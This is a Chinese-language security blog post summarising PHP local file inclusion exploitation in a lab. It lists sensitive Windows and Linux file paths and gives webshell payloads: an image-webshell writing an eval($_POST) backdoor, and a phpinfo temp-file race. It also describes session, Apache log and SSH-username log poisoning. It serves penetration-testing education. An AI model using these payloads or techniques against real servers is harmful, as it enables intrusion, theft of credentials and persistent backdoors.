文件包含利用方式(个人总结)

  • A+
所属分类:安全文章

一、利用思路总结:

1、包含一些敏感的配置文件,获取目标敏感信息

2、配合图片马getshell

3、包含临时文件getshell

4、包含session文件getshell

5、包含日志文件getshell(Apach、SSH等等)

6、利用php伪协议进行攻击

 

二、具体利用方法:

①包含一些敏感的配置文件

windows常见的敏感文件路径:

C:boot.ini //查看系统版本C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件C:Windowsrepairsam //存储系统初次安装的密码C:Program Filesmysqlmy.ini //Mysql配置C:Program Filesmysqldatamysqluser.MYD //Mysql rootC:Windowsphp.ini //php配置信息C:Windowsmy.ini //Mysql配置信息C:Windowswin.ini //Windows系统的一个基本系统配置文件

 

Linux常见的敏感文件路径:

/root/.ssh/authorized_keys/root/.ssh/id_rsa/root/.ssh/id_ras.keystore/root/.ssh/known_hosts //记录每个访问计算机用户的公钥/etc/passwd/etc/shadow/etc/my.cnf //mysql配置文件/etc/httpd/conf/httpd.conf //apache配置文件/root/.bash_history //用户历史命令记录文件/root/.mysql_history //mysql历史命令记录文件/proc/mounts //记录系统挂载设备/porc/config.gz //内核配置文件/var/lib/mlocate/mlocate.db //全文件路径/porc/self/cmdline //当前进程的cmdline参数

 

绝对路径:

文件包含利用方式(个人总结)

 

../跨目录读取:

文件包含利用方式(个人总结)

 

 

②配合图片马getshell

需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下:

<?php fputs(fopen("panda.php","w"),'<? @eval($_POST[PANDA]);?>');?>

文件包含利用方式(个人总结)

 

会在当前目录下生成panda.php,密码为PANDA,连接即可

文件包含利用方式(个人总结)


 

③包含临时文件+phpinfo getshell

在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。

 

利用方法简述:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

 

这个时候就需要用到条件竞争,具体流程如下:

1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

 

操作过程:

访问存在文件包含漏洞的页面

http://192.168.136.128:8080/lfi.php?file=/etc/passwd

文件包含利用方式(个人总结)

访问phpinfo页面,需要确实存在

文件包含利用方式(个人总结)

 

 

然后利用exp进行利用:

python2 exp.py 目标ip 8080 100

文件包含利用方式(个人总结)

在189次请求时,就写入成功了


脚本exp.py实现了上述漏洞利用过程,成功包含临时文件后,会利用file_put_contents函数写入<?=eval($_REQUEST[1])?>一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上

文件包含利用方式(个人总结)


然后直接利用蚁剑进行连接即可,密码为1:

文件包含利用方式(个人总结)

 

 

 

 

④包含session文件getshell

session简介:cookie存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,session一般用来跟踪会话。

利用场景:

一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中

利用条件:

①session文件路径已知

session文件路径位置可以通过phpinfo页面来获取:session.save_path参数

文件包含利用方式(个人总结)

 

也可以猜测常见的一些session存储位置:

/var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID]

②且其中部分内容可控制

 

利用方式:

访问漏洞页面,在参数中构造payload

文件包含利用方式(个人总结)

然后我们的首要任务就是获取session文件名,可通过谷歌浏览器,或者burp抓包查看

文件包含利用方式(个人总结)

 

 

文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell

文件包含利用方式(个人总结)


连接webshell

文件包含利用方式(个人总结)

 

 

⑤包含日志文件getshell

1.包含Apache日志文件

在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log

利用条件:日志文件的存储路径,并且日志文件可读。

①apache的日志文件可以通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中

②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log

③也可用通过先包含配置文件来确定日志文件路径

index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf

 

利用方式:

因为会自动url编码,会导致无法利用,所以抓包再请求

文件包含利用方式(个人总结)


可以看到error.log文件中已经成功写入了payload

文件包含利用方式(个人总结)


然后包含log文件路径即可

文件包含利用方式(个人总结)


连接webshell

文件包含利用方式(个人总结)


2.包含SSH日志文件

ssh '<?php phpinfo();?>'@192.168.136.143

这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell

文件包含利用方式(个人总结)


可以看到我们登陆的行为都被记录到了日志当中

文件包含利用方式(个人总结)


可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析

文件包含利用方式(个人总结)

 


通过phpinfo查看到了网站根目录

文件包含利用方式(个人总结)

 

本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路

文件包含利用方式(个人总结)


然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell

文件包含利用方式(个人总结)


然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行

文件包含利用方式(个人总结)

 大体利用思路就说到这,还可以进行进一步的思路拓展,大家就自由发挥了,如果文章有错误的地方请指出,互相交流,文章中用到的exp脚本网上都有公开的,自行查找即可,欢迎一起交流!!


点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!


本文始发于微信公众号(哈拉少安全小队):文件包含利用方式(个人总结)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: